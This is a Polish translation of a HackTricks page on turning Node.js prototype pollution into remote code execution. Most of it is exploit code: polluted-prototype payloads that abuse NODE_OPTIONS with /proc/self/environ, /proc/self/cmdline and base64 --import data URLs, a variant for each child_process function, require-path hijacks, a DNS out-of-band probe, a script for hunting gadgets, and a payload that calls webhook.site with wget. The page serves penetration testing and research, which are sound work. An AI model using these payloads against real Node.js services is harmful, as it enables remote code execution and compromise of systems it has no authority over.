Zanieczyszczenie prototypu do RCE

Reading time: 21 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wrażliwy kod

Wyobraź sobie prawdziwy JS używający kodu podobnego do poniższego:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE za pomocą zmiennych środowiskowych

PP2RCE oznacza Zanieczyszczenie prototypu do RCE (Zdalne Wykonanie Kodu).

Zgodnie z tym opisem, gdy proces jest uruchamiany za pomocą jakiejś metody z child_process (takiej jak fork lub spawn lub innych), wywołuje metodę normalizeSpawnArguments, która jest gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Sprawdź ten kod, możesz zobaczyć, że możliwe jest zatrucie envPairs po prostu przez zanieczyszczenie atrybutu .env.

Zatrucie __proto__

warning

Zauważ, że z powodu działania funkcji normalizeSpawnArguments z biblioteki child_process w node, gdy coś jest wywoływane w celu ustawienia nowej zmiennej env dla procesu, wystarczy zanieczyścić cokolwiek.
Na przykład, jeśli zrobisz __proto__.avar="valuevar", proces zostanie uruchomiony z zmienną o nazwie avar z wartością valuevar.

Jednak aby zmienna env była pierwsza, musisz zanieczyścić atrybut .env i (tylko w niektórych metodach) ta zmienna będzie pierwsza (pozwalając na atak).

Dlatego NODE_OPTIONS nie znajduje się w .env w następującym ataku.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Zatrucie constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE za pomocą zmiennych środowiskowych + cmdline

Podobny ładunek do poprzedniego z pewnymi zmianami został zaproponowany w tym artykule. Główne różnice to:

  • Zamiast przechowywać ładunek nodejs w pliku /proc/self/environ, przechowuje go w argv0 pliku /proc/self/cmdline.
  • Następnie, zamiast wymagać pliku /proc/self/environ za pomocą NODE_OPTIONS, wymaga /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node ≥ 19)

note

Od Node.js 19 flaga CLI --import może być przekazywana przez NODE_OPTIONS w ten sam sposób, w jaki można używać --require. W przeciwieństwie do --require, --import rozumie data-URIs, więc atakujący nie potrzebuje dostępu do systemu plików w ogóle. To sprawia, że gadżet jest znacznie bardziej niezawodny w zamkniętych lub tylko do odczytu środowiskach.

Ta technika została po raz pierwszy publicznie udokumentowana przez badania PortSwigger w maju 2023 roku i od tego czasu została powtórzona w kilku wyzwaniach CTF.

Atak jest koncepcyjnie identyczny do sztuczek --require /proc/self/* pokazanych powyżej, ale zamiast wskazywać na plik, osadzamy ładunek bezpośrednio w zakodowanym w base64 data: URL:

javascript
const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

Wykorzystywanie podatnego zlewu merge/clone pokazane na górze strony:

javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

Dlaczego --import jest pomocne

  1. Brak interakcji z dyskiem – ładunek podróżuje całkowicie wewnątrz linii poleceń procesu i środowiska.
  2. Działa w środowiskach tylko ESM--import jest kanonicznym sposobem wstępnego ładowania JavaScript w nowoczesnych wersjach Node, które domyślnie korzystają z modułów ECMAScript.
  3. Obchodzi niektóre listy dozwolonych --require – kilka bibliotek wzmacniających filtruje tylko --require, pozostawiając --import nietknięte.

warning

Obsługa --import w NODE_OPTIONS jest nadal obecna w najnowszej Node 22.2.0 (czerwiec 2025). Zespół rdzenia Node dyskutuje o ograniczeniu URI danych w przyszłości, ale w momencie pisania nie ma dostępnych środków zaradczych.


Interakcja z DNS

Używając następujących ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i wykrycie, czy zadziałała z interakcją DNS:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Lub, aby uniknąć WAF-ów pytających o domenę:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

W tej sekcji przeanalizujemy każdą funkcję z child_process, aby wykonać kod i zobaczyć, czy możemy użyć jakiejkolwiek techniki, aby wymusić tę funkcję do wykonania kodu:

exec exploitation
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile eksploatacja
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Aby execFile działało, MUSI uruchomić node, aby NODE_OPTIONS mogły działać.
Jeśli nie uruchamia node, musisz znaleźć sposób, aby zmienić wykonanie czegokolwiek, co jest uruchamiane za pomocą zmiennych środowiskowych i je ustawić.

Inne techniki działają bez tego wymogu, ponieważ możliwe jest modyfikowanie tego, co jest wykonywane za pomocą zanieczyszczenia prototypu. (W tym przypadku, nawet jeśli możesz zanieczyścić .shell, nie zanieczyścisz tego, co jest wykonywane).

fork exploitation
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn eksploatacja
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync eksploatacja
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync eksploatacja
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync eksploatacja
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Wymuszanie Spawn

W poprzednich przykładach zobaczyłeś, jak wywołać gadżet, funkcjonalność, która wywołuje spawn, musi być obecna (wszystkie metody child_process używane do wykonania czegoś ją wywołują). W poprzednim przykładzie było to częścią kodu, ale co jeśli kod nie wywołuje tego.

Kontrolowanie ścieżki pliku require

W tym innym opisie użytkownik może kontrolować ścieżkę pliku, w którym zostanie wykonane require. W tym scenariuszu atakujący musi tylko znaleźć plik .js w systemie, który wykona metodę spawn po zaimportowaniu.
Niektóre przykłady powszechnych plików wywołujących funkcję spawn po zaimportowaniu to:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Znajdź więcej plików poniżej

Poniższy prosty skrypt będzie szukał wywołań z child_process bez żadnego wypełnienia (aby uniknąć pokazywania wywołań wewnątrz funkcji):

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interesujące pliki znalezione przez poprzedni skrypt
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Ustawianie ścieżki pliku require za pomocą zanieczyszczenia prototypu

warning

Poprzednia technika wymaga, aby użytkownik kontrolował ścieżkę pliku, który ma być załadowany. Ale to nie zawsze jest prawdą.

Jednakże, jeśli kod ma wykonać require po zanieczyszczeniu prototypu, nawet jeśli nie kontrolujesz ścieżki, która ma być załadowana, możesz wymusić inną, nadużywając zanieczyszczenia prototypu. Więc nawet jeśli linia kodu wygląda jak require("./a_file.js") lub require("bytes"), to załaduje pakiet, który zanieczyściłeś.

Dlatego, jeśli require jest wykonywane po twoim zanieczyszczeniu prototypu i nie ma funkcji spawn, to jest to atak:

  • Znajdź plik .js w systemie, który po załadowaniu wykona coś używając child_process
  • Jeśli możesz przesyłać pliki na platformę, którą atakujesz, możesz przesłać taki plik
  • Zanieczyść ścieżki, aby wymusić załadowanie pliku .js, który wykona coś z child_process
  • Zanieczyść environ/cmdline, aby wykonać dowolny kod, gdy funkcja wykonania child_process jest wywoływana (zobacz początkowe techniki)

Absolutny require

Jeśli wykonany require jest absolutny (require("bytes")) i pakiet nie zawiera main w pliku package.json, możesz zanieczyścić atrybut main i sprawić, że require wykona inny plik.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 1

Jeśli zamiast ścieżki absolutnej załadowana zostanie ścieżka względna, możesz sprawić, że node załaduje inną ścieżkę:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Względne wymaganie - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relative require - 3

Podobnie jak w poprzednim przypadku, to zostało znalezione w tym artykule.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

W artykule https://arxiv.org/pdf/2207.11171.pdf wskazano również, że kontrola contextExtensions z niektórych metod biblioteki vm może być użyta jako gadget.
Jednak, podobnie jak poprzednie metody child_process, zostały one naprawione w najnowszych wersjach.

Fixes & Unexpected protections

Proszę zauważyć, że zanieczyszczenie prototypu działa, jeśli atrybut obiektu, do którego się odwołujemy, jest niezdefiniowany. Jeśli w kodzie ten atrybut jest ustawiony na wartość, nie będziesz w stanie go nadpisać.

W czerwcu 2022 roku z tego commita zmienna options zamiast {} to kEmptyObject. Co zapobiega zanieczyszczeniu prototypu wpływającemu na atrybuty options w celu uzyskania RCE.
Przynajmniej od wersji v18.4.0 ta ochrona została wdrożona, a zatem eksploity spawn i spawnSync wpływające na metody już nie działają (jeśli nie używane są options!).

W tym commicie zanieczyszczenie prototypu contextExtensions z biblioteki vm zostało również częściowo naprawione, ustawiając opcje na kEmptyObject zamiast {}.

info

Node 20 (kwiecień 2023) i Node 22 (kwiecień 2025) wprowadziły dalsze wzmocnienia: kilka pomocników child_process teraz kopiuje dostarczone przez użytkownika options za pomocą CopyOptions() zamiast używać ich przez referencję. To blokuje zanieczyszczenie zagnieżdżonych obiektów, takich jak stdio, ale nie chroni przed sztuczkami NODE_OPTIONS / --import opisanymi powyżej – te flagi są nadal akceptowane przez zmienne środowiskowe.
Pełne rozwiązanie musiałoby ograniczyć, które flagi CLI mogą być propagowane z procesu nadrzędnego, co jest śledzone w zgłoszeniu Node #50559.

Other Gadgets

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks